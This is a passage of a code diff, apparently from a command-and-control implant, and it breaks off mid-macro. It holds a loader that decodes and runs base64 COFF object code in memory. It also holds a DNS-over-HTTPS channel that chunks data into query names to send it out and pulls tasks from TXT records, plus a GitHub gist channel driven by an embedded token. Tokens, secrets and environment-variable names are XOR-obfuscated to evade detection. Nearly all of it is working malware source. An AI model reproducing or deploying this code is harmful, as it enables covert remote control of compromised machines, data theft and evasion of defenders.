DWORD ptr_block = ext * THUNK_PTR_SZ;
|
||||
DWORD jmp_block = ext * THUNK_JMP_SZ;
|
||||
DWORD total = ptr_block + jmp_block + 64; /* tiny padding */
|
||||
|
||||
g_thunk_block = (BYTE *)VirtualAlloc(NULL, total,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!g_thunk_block)
|
||||
return 0;
|
||||
|
||||
BYTE *ptr_base = g_thunk_block;
|
||||
BYTE *jmp_base = g_thunk_block + ptr_block;
|
||||
|
||||
DWORD idx = 0;
|
||||
for (DWORD si = 0; si < hdr->NumberOfSymbols;
|
||||
si += 1 + symtab[si].NumberOfAuxSymbols)
|
||||
{
|
||||
const coff_sym_t *sym = symtab + si;
|
||||
if (sym->SectionNumber != 0 || sym->StorageClass != 2)
|
||||
continue;
|
||||
|
||||
char sname[512] = {0};
|
||||
_sym_name(sym, strtab, sname, sizeof(sname));
|
||||
|
||||
char dll[64] = {0}, fn[256] = {0};
|
||||
_parse_sym(sname, dll, sizeof(dll), fn, sizeof(fn));
|
||||
|
||||
void *target = _resolve_win32(fn, dll[0] ? dll : NULL);
|
||||
|
||||
BYTE *pt = ptr_base + idx * THUNK_PTR_SZ;
|
||||
*(void **)pt = target;
|
||||
|
||||
BYTE *jt = jmp_base + idx * THUNK_JMP_SZ;
|
||||
jt[0] = 0xFF;
|
||||
jt[1] = 0x25;
|
||||
jt[2] = 0;
|
||||
jt[3] = 0;
|
||||
jt[4] = 0;
|
||||
jt[5] = 0;
|
||||
*(void **)(jt + 6) = target;
|
||||
|
||||
pairs[si] = (thunk_pair_t){pt, jt};
|
||||
idx++;
|
||||
}
|
||||
|
||||
DWORD old;
|
||||
_vp(jmp_base, jmp_block, PAGE_EXECUTE_READ, &old);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int cmd_bof(const char *coff_b64, const char *args_b64,
|
||||
char *output_buf, size_t output_sz)
|
||||
{
|
||||
if (!coff_b64 || !output_buf || !output_sz)
|
||||
return -1;
|
||||
output_buf[0] = '\0';
|
||||
|
||||
size_t coff_sz = 0;
|
||||
uint8_t *coff = base64_decode(coff_b64, &coff_sz);
|
||||
if (!coff || coff_sz < sizeof(coff_hdr_t))
|
||||
{
|
||||
snprintf(output_buf, output_sz, "[bof] b64 decode fail\n");
|
||||
if (coff)
|
||||
free(coff);
|
||||
return -1;
|
||||
}
|
||||
|
||||
char *args = NULL;
|
||||
int args_len = 0;
|
||||
if (args_b64 && args_b64[0])
|
||||
{
|
||||
size_t alen = 0;
|
||||
args = (char *)base64_decode(args_b64, &alen);
|
||||
args_len = (int)alen;
|
||||
}
|
||||
(void)args_len;
|
||||
|
||||
const coff_hdr_t *hdr = (const coff_hdr_t *)coff;
|
||||
if (hdr->Machine != IMAGE_FILE_MACHINE_AMD64)
|
||||
{
|
||||
snprintf(output_buf, output_sz,
|
||||
"[bof] not x64 COFF (machine=0x%04X)\n", hdr->Machine);
|
||||
free(coff);
|
||||
if (args)
|
||||
free(args);
|
||||
return -1;
|
||||
}
|
||||
|
||||
const coff_sec_t *secs = (const coff_sec_t *)(coff + sizeof(coff_hdr_t));
|
||||
const coff_sym_t *symtab = (const coff_sym_t *)(coff + hdr->PointerToSymbolTable);
|
||||
const char *strtab = (const char *)(symtab + hdr->NumberOfSymbols);
|
||||
|
||||
WORD nsec = hdr->NumberOfSections;
|
||||
BYTE **mapped = (BYTE **)calloc(nsec, sizeof(BYTE *));
|
||||
thunk_pair_t *pairs = (thunk_pair_t *)calloc(
|
||||
hdr->NumberOfSymbols ? hdr->NumberOfSymbols : 1, sizeof(thunk_pair_t));
|
||||
|
||||
if (!mapped || !pairs)
|
||||
goto fail;
|
||||
|
||||
for (WORD i = 0; i < nsec; i++)
|
||||
{
|
||||
DWORD sz = secs[i].SizeOfRawData;
|
||||
DWORD vsz = secs[i].VirtualSize ? secs[i].VirtualSize : sz;
|
||||
if (!sz && !vsz)
|
||||
continue;
|
||||
DWORD alloc_sz = (sz > vsz ? sz : vsz) + 16;
|
||||
|
||||
mapped[i] = (BYTE *)VirtualAlloc(NULL, alloc_sz,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!mapped[i])
|
||||
{
|
||||
snprintf(output_buf, output_sz, "[bof] alloc fail sec %d\n", i);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
if (sz && secs[i].PointerToRawData)
|
||||
memcpy(mapped[i], coff + secs[i].PointerToRawData, sz);
|
||||
/* BSS (uninit data) stays zeroed from VirtualAlloc */
|
||||
}
|
||||
|
||||
if (!_build_thunks(hdr, symtab, strtab, pairs))
|
||||
{
|
||||
snprintf(output_buf, output_sz, "[bof] thunk alloc fail\n");
|
||||
goto fail;
|
||||
}
|
||||
|
||||
for (WORD i = 0; i < nsec; i++)
|
||||
{
|
||||
if (!mapped[i] || !secs[i].NumberOfRelocations)
|
||||
continue;
|
||||
const coff_reloc_t *relocs =
|
||||
(const coff_reloc_t *)(coff + secs[i].PointerToRelocations);
|
||||
|
||||
for (WORD ri = 0; ri < secs[i].NumberOfRelocations; ri++)
|
||||
{
|
||||
DWORD sym_idx = relocs[ri].SymbolTableIndex;
|
||||
WORD type = relocs[ri].Type;
|
||||
BYTE *site = mapped[i] + relocs[ri].VirtualAddress;
|
||||
|
||||
if (sym_idx >= hdr->NumberOfSymbols)
|
||||
continue;
|
||||
const coff_sym_t *sym = symtab + sym_idx;
|
||||
|
||||
BYTE *target = NULL;
|
||||
int is_ext = (sym->SectionNumber == 0 && sym->StorageClass == 2);
|
||||
|
||||
if (!is_ext && sym->SectionNumber > 0 && sym->SectionNumber <= nsec)
|
||||
{
|
||||
int si2 = sym->SectionNumber - 1;
|
||||
if (mapped[si2])
|
||||
target = mapped[si2] + sym->Value;
|
||||
}
|
||||
|
||||
switch (type)
|
||||
{
|
||||
case IMAGE_REL_AMD64_ADDR64:
|
||||
if (is_ext && pairs[sym_idx].ptr)
|
||||
*(DWORD64 *)site = (DWORD64)(uintptr_t)pairs[sym_idx].ptr;
|
||||
else if (target)
|
||||
*(DWORD64 *)site += (DWORD64)(uintptr_t)target;
|
||||
break;
|
||||
|
||||
case IMAGE_REL_AMD64_ADDR32:
|
||||
if (target)
|
||||
*(DWORD *)site += (DWORD)(uintptr_t)target;
|
||||
break;
|
||||
|
||||
case IMAGE_REL_AMD64_ADDR32NB:
|
||||
if (target)
|
||||
*(DWORD *)site += (DWORD)((uintptr_t)target - (uintptr_t)_peb_self_base());
|
||||
break;
|
||||
|
||||
case IMAGE_REL_AMD64_REL32:
|
||||
case IMAGE_REL_AMD64_REL32_1:
|
||||
case IMAGE_REL_AMD64_REL32_2:
|
||||
case IMAGE_REL_AMD64_REL32_3:
|
||||
case IMAGE_REL_AMD64_REL32_4:
|
||||
case IMAGE_REL_AMD64_REL32_5:
|
||||
{
|
||||
DWORD addend = type - IMAGE_REL_AMD64_REL32;
|
||||
BYTE *dest = NULL;
|
||||
if (is_ext)
|
||||
{
|
||||
/* for __imp_ use ptr thunk, for direct refs use jmp thunk */
|
||||
char sname[512] = {0};
|
||||
_sym_name(sym, strtab, sname, sizeof(sname));
|
||||
int is_imp = (strncmp(sname, "__imp_", 6) == 0);
|
||||
dest = is_imp ? pairs[sym_idx].ptr : pairs[sym_idx].jmp;
|
||||
}
|
||||
else
|
||||
{
|
||||
dest = target;
|
||||
}
|
||||
if (dest)
|
||||
{
|
||||
// internal section refs carry the section offset as existing site value
|
||||
DWORD sec_addend = is_ext ? 0 : *(DWORD *)site;
|
||||
*(DWORD *)site = (DWORD)((uintptr_t)dest + sec_addend
|
||||
- ((uintptr_t)site + 4 + addend));
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (WORD i = 0; i < nsec; i++)
|
||||
{
|
||||
if (!mapped[i])
|
||||
continue;
|
||||
if (secs[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
|
||||
{
|
||||
DWORD old;
|
||||
DWORD sz = secs[i].SizeOfRawData ? secs[i].SizeOfRawData
|
||||
: secs[i].VirtualSize;
|
||||
_vp(mapped[i], sz + 16, PAGE_EXECUTE_READ, &old);
|
||||
}
|
||||
}
|
||||
|
||||
typedef void(__cdecl * go_fn_t)(char *, int);
|
||||
go_fn_t go_fn = NULL;
|
||||
|
||||
for (DWORD si = 0; si < hdr->NumberOfSymbols && !go_fn;
|
||||
si += 1 + symtab[si].NumberOfAuxSymbols)
|
||||
{
|
||||
const coff_sym_t *sym = symtab + si;
|
||||
if (sym->SectionNumber <= 0)
|
||||
continue;
|
||||
|
||||
char sname[512] = {0};
|
||||
_sym_name(sym, strtab, sname, sizeof(sname));
|
||||
|
||||
if (strcmp(sname, "go") == 0)
|
||||
{
|
||||
int sec_idx = sym->SectionNumber - 1;
|
||||
if (sec_idx < nsec && mapped[sec_idx])
|
||||
go_fn = (go_fn_t)(void *)(mapped[sec_idx] + sym->Value);
|
||||
}
|
||||
}
|
||||
|
||||
if (!go_fn)
|
||||
{
|
||||
snprintf(output_buf, output_sz, "[bof] 'go' not found\n");
|
||||
goto fail;
|
||||
}
|
||||
|
||||
g_out = output_buf;
|
||||
g_out_sz = output_sz;
|
||||
g_out_off = 0;
|
||||
|
||||
#ifdef _MSC_VER
|
||||
__try
|
||||
{
|
||||
go_fn(args, args_len);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
size_t av = output_sz - g_out_off - 1;
|
||||
if (av > 0)
|
||||
{
|
||||
char err[64];
|
||||
int n = snprintf(err, sizeof(err),
|
||||
"[bof] exception 0x%08lX\n",
|
||||
(unsigned long)GetExceptionCode());
|
||||
if (n > 0)
|
||||
_append(err, (size_t)n);
|
||||
}
|
||||
}
|
||||
#else
|
||||
go_fn(args, args_len);
|
||||
#endif
|
||||
|
||||
g_out = NULL;
|
||||
|
||||
fail:
|
||||
if (mapped)
|
||||
{
|
||||
for (WORD i = 0; i < nsec; i++)
|
||||
if (mapped[i])
|
||||
VirtualFree(mapped[i], 0, MEM_RELEASE);
|
||||
free(mapped);
|
||||
}
|
||||
if (g_thunk_block)
|
||||
{
|
||||
VirtualFree(g_thunk_block, 0, MEM_RELEASE);
|
||||
g_thunk_block = NULL;
|
||||
g_thunk_count = 0;
|
||||
}
|
||||
if (pairs)
|
||||
free(pairs);
|
||||
if (args)
|
||||
free(args);
|
||||
if (coff)
|
||||
free(coff);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,213 @@
|
||||
#include "channels.h"
|
||||
#include "util.h"
|
||||
#include <curl/curl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifndef CURLSSLOPT_NATIVE_CA
|
||||
#define CURLSSLOPT_NATIVE_CA (1<<4)
|
||||
#endif
|
||||
|
||||
/* accumulates HTTP response data */
|
||||
|
||||
typedef struct {
|
||||
char *data;
|
||||
size_t len;
|
||||
} curl_buf_t;
|
||||
|
||||
static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
|
||||
{
|
||||
curl_buf_t *buf = (curl_buf_t *)userdata;
|
||||
size_t nb = size * nmemb;
|
||||
char *tmp = realloc(buf->data, buf->len + nb + 1);
|
||||
if (!tmp) return 0;
|
||||
buf->data = tmp;
|
||||
memcpy(buf->data + buf->len, ptr, nb);
|
||||
buf->len += nb;
|
||||
buf->data[buf->len] = '\0';
|
||||
return nb;
|
||||
}
|
||||
|
||||
/* send a DoH TXT query, return raw JSON response */
|
||||
|
||||
static char *doh_query_txt(const char *doh_server, const char *fqdn)
|
||||
{
|
||||
char url[512];
|
||||
snprintf(url, sizeof(url), "%s?name=%s&type=TXT", doh_server, fqdn);
|
||||
|
||||
CURL *curl = curl_easy_init();
|
||||
if (!curl) return NULL;
|
||||
|
||||
curl_buf_t resp = {0};
|
||||
|
||||
char ua_hdr[320];
|
||||
snprintf(ua_hdr, sizeof(ua_hdr), "User-Agent: %s", random_ua());
|
||||
|
||||
struct curl_slist *hdrs = NULL;
|
||||
hdrs = curl_slist_append(hdrs, "Accept: application/dns-json");
|
||||
hdrs = curl_slist_append(hdrs, ua_hdr);
|
||||
|
||||
curl_apply_opsec(curl);
|
||||
curl_easy_setopt(curl, CURLOPT_URL, url);
|
||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 15L);
|
||||
|
||||
CURLcode res = curl_easy_perform(curl);
|
||||
long code = 0;
|
||||
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code);
|
||||
curl_slist_free_all(hdrs);
|
||||
curl_easy_cleanup(curl);
|
||||
|
||||
if (res != CURLE_OK || code != 200) {
|
||||
free(resp.data);
|
||||
return NULL;
|
||||
}
|
||||
return resp.data;
|
||||
}
|
||||
|
||||
static char *doh_extract_txt(const char *response)
|
||||
{
|
||||
/* Find first "type":16 entry */
|
||||
const char *p = response;
|
||||
while ((p = strstr(p, "\"type\":16")) != NULL) {
|
||||
const char *d = strstr(p, "\"data\"");
|
||||
if (!d) break;
|
||||
d += strlen("\"data\"");
|
||||
while (*d == ' ' || *d == ':') d++;
|
||||
if (*d != '"') { p++; continue; }
|
||||
d++;
|
||||
|
||||
/* TXT data may be wrapped in extra quotes: "\"value\"" */
|
||||
if (*d == '\\' && *(d+1) == '"') d += 2;
|
||||
|
||||
size_t i = 0, cap = 2048;
|
||||
char *out = malloc(cap);
|
||||
if (!out) return NULL;
|
||||
while (*d && *d != '"') {
|
||||
if (*d == '\\' && *(d+1) == '"') { /* closing escaped quote */ break; }
|
||||
if (i + 2 >= cap) {
|
||||
cap *= 2;
|
||||
char *tmp = realloc(out, cap);
|
||||
if (!tmp) { free(out); return NULL; }
|
||||
out = tmp;
|
||||
}
|
||||
out[i++] = *d++;
|
||||
}
|
||||
out[i] = '\0';
|
||||
if (i == 0) { free(out); p++; continue; }
|
||||
return out;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* base32 encoding for valid DNS labels */
|
||||
|
||||
static const char B32_ALPHABET[] = "abcdefghijklmnopqrstuvwxyz234567";
|
||||
|
||||
static size_t b32_encode(const uint8_t *in, size_t in_len, char *out)
|
||||
{
|
||||
size_t i = 0, j = 0;
|
||||
uint32_t acc = 0;
|
||||
int bits = 0;
|
||||
|
||||
for (i = 0; i < in_len; i++) {
|
||||
acc = (acc << 8) | in[i];
|
||||
bits += 8;
|
||||
while (bits >= 5) {
|
||||
bits -= 5;
|
||||
out[j++] = B32_ALPHABET[(acc >> bits) & 0x1F];
|
||||
}
|
||||
}
|
||||
if (bits > 0)
|
||||
out[j++] = B32_ALPHABET[(acc << (5 - bits)) & 0x1F];
|
||||
out[j] = '\0';
|
||||
return j;
|
||||
}
|
||||
|
||||
/* derive send/recv labels from the first/last 4 chars of agent_id */
|
||||
|
||||
static void doh_get_labels(const char *agent_id, char *send_lbl, char *recv_lbl)
|
||||
{
|
||||
|
||||
send_lbl[0] = agent_id[0]; send_lbl[1] = agent_id[1];
|
||||
send_lbl[2] = agent_id[2]; send_lbl[3] = agent_id[3];
|
||||
send_lbl[4] = '\0';
|
||||
|
||||
recv_lbl[0] = agent_id[4]; recv_lbl[1] = agent_id[5];
|
||||
recv_lbl[2] = agent_id[6]; recv_lbl[3] = agent_id[7];
|
||||
recv_lbl[4] = '\0';
|
||||
}
|
||||
|
||||
/* split b64 payload into DNS TXT queries */
|
||||
|
||||
#define DOH_CHUNK_BYTES 30
|
||||
|
||||
int doh_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
|
||||
{
|
||||
if (!cfg->doh_domain[0]) return CHANNEL_ERR;
|
||||
|
||||
char send_lbl[8], recv_lbl[8];
|
||||
doh_get_labels(agent_id, send_lbl, recv_lbl);
|
||||
|
||||
size_t b64_len = strlen(b64);
|
||||
size_t offset = 0;
|
||||
int seq = 0;
|
||||
int ok = 1;
|
||||
|
||||
while (offset < b64_len) {
|
||||
size_t chunk = b64_len - offset;
|
||||
if (chunk > DOH_CHUNK_BYTES) chunk = DOH_CHUNK_BYTES;
|
||||
|
||||
char b32_label[64];
|
||||
b32_encode((const uint8_t *)b64 + offset, chunk, b32_label);
|
||||
|
||||
char fqdn[256];
|
||||
snprintf(fqdn, sizeof(fqdn), "%s.%02d.%s.%s.%s",
|
||||
b32_label, seq, send_lbl, agent_id, cfg->doh_domain);
|
||||
|
||||
char *resp = doh_query_txt(cfg->doh_server, fqdn);
|
||||
if (resp) free(resp);
|
||||
else { ok = 0; }
|
||||
|
||||
offset += chunk;
|
||||
seq++;
|
||||
}
|
||||
|
||||
/* end-of-stream marker */
|
||||
char fqdn_done[256];
|
||||
snprintf(fqdn_done, sizeof(fqdn_done), "%s.%02d.%s.%s.%s",
|
||||
send_lbl, seq, send_lbl, agent_id, cfg->doh_domain);
|
||||
char *resp = doh_query_txt(cfg->doh_server, fqdn_done);
|
||||
if (resp) free(resp);
|
||||
|
||||
return ok ? CHANNEL_OK : CHANNEL_RETRY;
|
||||
}
|
||||
|
||||
/* fetch pending task from a TXT DNS record */
|
||||
|
||||
char *doh_recv(const channel_config_t *cfg, const char *agent_id)
|
||||
{
|
||||
if (!cfg->doh_domain[0]) return NULL;
|
||||
|
||||
char send_lbl[8], recv_lbl[8];
|
||||
doh_get_labels(agent_id, send_lbl, recv_lbl);
|
||||
|
||||
char fqdn[256];
|
||||
snprintf(fqdn, sizeof(fqdn), "%s.%s.%s", recv_lbl, agent_id, cfg->doh_domain);
|
||||
|
||||
char *resp = doh_query_txt(cfg->doh_server, fqdn);
|
||||
if (!resp) return NULL;
|
||||
|
||||
char *txt = doh_extract_txt(resp);
|
||||
free(resp);
|
||||
|
||||
/* Empty or "null" = no pending task */
|
||||
if (txt && (txt[0] == '\0' || strcmp(txt, "null") == 0)) {
|
||||
free(txt);
|
||||
return NULL;
|
||||
}
|
||||
return txt;
|
||||
}
|
||||
@@ -0,0 +1,301 @@
|
||||
#include "channels.h"
|
||||
#include "agent_config.h"
|
||||
#include "crypto.h"
|
||||
#include "util.h"
|
||||
#include <curl/curl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifndef CURLSSLOPT_NATIVE_CA
|
||||
#define CURLSSLOPT_NATIVE_CA (1<<4)
|
||||
#endif
|
||||
|
||||
/* decode a XOR-obfuscated config value */
|
||||
static void cfg_decode(const unsigned char *src, size_t len, char *dst)
|
||||
{
|
||||
for (size_t i = 0; i < len; i++)
|
||||
dst[i] = (char)(src[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
|
||||
dst[len] = '\0';
|
||||
}
|
||||
|
||||
/* accumulates HTTP response data */
|
||||
|
||||
typedef struct {
|
||||
char *data;
|
||||
size_t len;
|
||||
} curl_buf_t;
|
||||
|
||||
static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
|
||||
{
|
||||
curl_buf_t *buf = (curl_buf_t *)userdata;
|
||||
size_t new_bytes = size * nmemb;
|
||||
char *tmp = realloc(buf->data, buf->len + new_bytes + 1);
|
||||
if (!tmp) return 0;
|
||||
buf->data = tmp;
|
||||
memcpy(buf->data + buf->len, ptr, new_bytes);
|
||||
buf->len += new_bytes;
|
||||
buf->data[buf->len] = '\0';
|
||||
return new_bytes;
|
||||
}
|
||||
|
||||
/* HTTPS request to the GitHub API, GET or PATCH */
|
||||
|
||||
typedef enum { HTTP_GET, HTTP_PATCH } http_method_t;
|
||||
|
||||
static char *github_request(const char *token, const char *url,
|
||||
http_method_t method, const char *body_json)
|
||||
{
|
||||
CURL *curl = curl_easy_init();
|
||||
if (!curl) return NULL;
|
||||
|
||||
curl_buf_t resp = {0};
|
||||
|
||||
struct curl_slist *hdrs = NULL;
|
||||
char auth_hdr[320];
|
||||
char ua_hdr[320];
|
||||
snprintf(auth_hdr, sizeof(auth_hdr), "Authorization: token %s", token);
|
||||
snprintf(ua_hdr, sizeof(ua_hdr), "User-Agent: %s", random_ua());
|
||||
hdrs = curl_slist_append(hdrs, auth_hdr);
|
||||
hdrs = curl_slist_append(hdrs, "Accept: application/vnd.github+json");
|
||||
hdrs = curl_slist_append(hdrs, "Content-Type: application/json");
|
||||
hdrs = curl_slist_append(hdrs, ua_hdr);
|
||||
hdrs = curl_slist_append(hdrs, "X-GitHub-Api-Version: 2022-11-28");
|
||||
|
||||
curl_apply_opsec(curl);
|
||||
curl_easy_setopt(curl, CURLOPT_URL, url);
|
||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
|
||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
|
||||
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
||||
|
||||
if (method == HTTP_PATCH) {
|
||||
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "PATCH");
|
||||
if (body_json) {
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, body_json);
|
||||
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(body_json));
|
||||
}
|
||||
}
|
||||
|
||||
CURLcode res = curl_easy_perform(curl);
|
||||
long http_code = 0;
|
||||
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
|
||||
|
||||
curl_slist_free_all(hdrs);
|
||||
curl_easy_cleanup(curl);
|
||||
|
||||
if (res != CURLE_OK || (http_code < 200 || http_code >= 300)) {
|
||||
free(resp.data);
|
||||
return NULL;
|
||||
}
|
||||
return resp.data;
|
||||
}
|
||||
|
||||
/* extract the "content" field for filename from a gist JSON response */
|
||||
|
||||
static char *gist_extract_content(const char *response, const char *filename)
|
||||
{
|
||||
char needle[128];
|
||||
snprintf(needle, sizeof(needle), "\"%s\"", filename);
|
||||
const char *p = strstr(response, needle);
|
||||
if (!p) return NULL;
|
||||
|
||||
/* find content field after the filename key */
|
||||
p = strstr(p, "\"content\"");
|
||||
if (!p) return NULL;
|
||||
p += strlen("\"content\"");
|
||||
while (*p == ' ' || *p == ':' || *p == ' ') p++;
|
||||
if (*p != '"') return NULL;
|
||||
p++;
|
||||
|
||||
/* read until closing quote */
|
||||
size_t cap = 1024, len = 0;
|
||||
char *out = malloc(cap);
|
||||
if (!out) return NULL;
|
||||
|
||||
while (*p && *p != '"') {
|
||||
if (len + 4 >= cap) {
|
||||
cap *= 2;
|
||||
char *tmp = realloc(out, cap);
|
||||
if (!tmp) { free(out); return NULL; }
|
||||
out = tmp;
|
||||
}
|
||||
if (*p == '\\' && *(p+1)) {
|
||||
p++; /* skip backslash */
|
||||
switch (*p) {
|
||||
case 'n': out[len++] = '\n'; break;
|
||||
case 'r': out[len++] = '\r'; break;
|
||||
case 't': out[len++] = '\t'; break;
|
||||
default: out[len++] = *p; break;
|
||||
}
|
||||
} else {
|
||||
out[len++] = *p;
|
||||
}
|
||||
p++;
|
||||
}
|
||||
out[len] = '\0';
|
||||
|
||||
/* nothing to return */
|
||||
if (len == 0 || strcmp(out, "null") == 0) {
|
||||
free(out);
|
||||
return NULL;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
/* init config: compiled XOR values first, then env var overrides */
|
||||
void channel_config_init(channel_config_t *cfg)
|
||||
{
|
||||
memset(cfg, 0, sizeof(*cfg));
|
||||
|
||||
/* decode compiled-in values */
|
||||
if (CFG_GITHUB_TOKEN_LEN)
|
||||
cfg_decode(CFG_GITHUB_TOKEN, CFG_GITHUB_TOKEN_LEN, cfg->github_token);
|
||||
if (CFG_GIST_CMD_ID_LEN)
|
||||
cfg_decode(CFG_GIST_CMD_ID, CFG_GIST_CMD_ID_LEN, cfg->gist_cmd_id);
|
||||
if (CFG_GIST_OUT_ID_LEN)
|
||||
cfg_decode(CFG_GIST_OUT_ID, CFG_GIST_OUT_ID_LEN, cfg->gist_out_id);
|
||||
if (CFG_TEAMS_TENANT_LEN)
|
||||
cfg_decode(CFG_TEAMS_TENANT, CFG_TEAMS_TENANT_LEN, cfg->teams_tenant_id);
|
||||
if (CFG_TEAMS_CLIENT_LEN)
|
||||
cfg_decode(CFG_TEAMS_CLIENT, CFG_TEAMS_CLIENT_LEN, cfg->teams_client_id);
|
||||
if (CFG_TEAMS_SECRET_LEN)
|
||||
cfg_decode(CFG_TEAMS_SECRET, CFG_TEAMS_SECRET_LEN, cfg->teams_client_secret);
|
||||
if (CFG_TEAMS_WEBHOOK_LEN)
|
||||
cfg_decode(CFG_TEAMS_WEBHOOK, CFG_TEAMS_WEBHOOK_LEN, cfg->teams_webhook_url);
|
||||
if (CFG_TEAMS_TEAM_ID_LEN)
|
||||
cfg_decode(CFG_TEAMS_TEAM_ID, CFG_TEAMS_TEAM_ID_LEN, cfg->teams_team_id);
|
||||
if (CFG_TEAMS_CHANNEL_LEN)
|
||||
cfg_decode(CFG_TEAMS_CHANNEL, CFG_TEAMS_CHANNEL_LEN, cfg->teams_channel_id);
|
||||
if (CFG_BEACON_URL_LEN)
|
||||
cfg_decode(CFG_BEACON_URL, CFG_BEACON_URL_LEN, cfg->beacon_url);
|
||||
if (CFG_DOH_DOMAIN_LEN)
|
||||
cfg_decode(CFG_DOH_DOMAIN, CFG_DOH_DOMAIN_LEN, cfg->doh_domain);
|
||||
#if defined(CFG_SMB_HOST_LEN) && CFG_SMB_HOST_LEN > 0
|
||||
cfg_decode(CFG_SMB_HOST, CFG_SMB_HOST_LEN, cfg->smb_host);
|
||||
#endif
|
||||
#if defined(CFG_SMB_PIPE_LEN) && CFG_SMB_PIPE_LEN > 0
|
||||
cfg_decode(CFG_SMB_PIPE, CFG_SMB_PIPE_LEN, cfg->smb_pipe);
|
||||
#endif
|
||||
|
||||
strncpy(cfg->doh_server,
|
||||
"https://cloudflare-dns.com/dns-query",
|
||||
sizeof(cfg->doh_server) - 1);
|
||||
|
||||
/* env var overrides for dev/test — names are XOR'd to avoid plaintext strings */
|
||||
#define ENV_XOR 0xa5
|
||||
|
||||
/* XOR-encoded env var names */
|
||||
static const unsigned char k_env_gh_token[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe2,0xec,0xf1,0xed,0xf0,0xe7,0xfa,0xf1,0xea,0xee,0xe0,0xeb};
|
||||
static const unsigned char k_env_gist_cmd[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe2,0xec,0xf6,0xf1,0xfa,0xe6,0xe8,0xe1};
|
||||
static const unsigned char k_env_gist_out[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe2,0xec,0xf6,0xf1,0xfa,0xea,0xf0,0xf1};
|
||||
static const unsigned char k_env_teams_tenant[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf1,0xe0,0xeb,0xe4,0xeb,0xf1};
|
||||
static const unsigned char k_env_teams_client[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xe6,0xe9,0xec,0xe0,0xeb,0xf1};
|
||||
static const unsigned char k_env_teams_secret[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf6,0xe0,0xe6,0xf7,0xe0,0xf1};
|
||||
static const unsigned char k_env_teams_wh[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf2,0xe0,0xe7,0xed,0xea,0xea,0xee};
|
||||
static const unsigned char k_env_teams_team[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xf1,0xe0,0xe4,0xe8};
|
||||
static const unsigned char k_env_teams_chan[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xe6,0xed,0xe4,0xeb,0xeb,0xe0,0xe9};
|
||||
static const unsigned char k_env_beacon_url[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe7,0xe0,0xe4,0xe6,0xea,0xeb,0xfa,0xf0,0xf7,0xe9};
|
||||
static const unsigned char k_env_doh_server[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe1,0xea,0xed,0xfa,0xf6,0xe0,0xf7,0xf3,0xe0,0xf7};
|
||||
static const unsigned char k_env_doh_domain[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe1,0xea,0xed,0xfa,0xe1,0xea,0xe8,0xe4,0xec,0xeb};
|
||||
/* LEGITC2_SMB_HOST */
|
||||
static const unsigned char k_env_smb_host[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf6,0xe8,0xe7,0xfa,0xed,0xea,0xf6,0xf1};
|
||||
/* LEGITC2_SMB_PIPE */
|
||||
static const unsigned char k_env_smb_pipe[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf6,0xe8,0xe7,0xfa,0xf5,0xec,0xf5,0xe0};
|
||||
|
||||
#define OVERRIDE(enc_key, field) do { \
|
||||
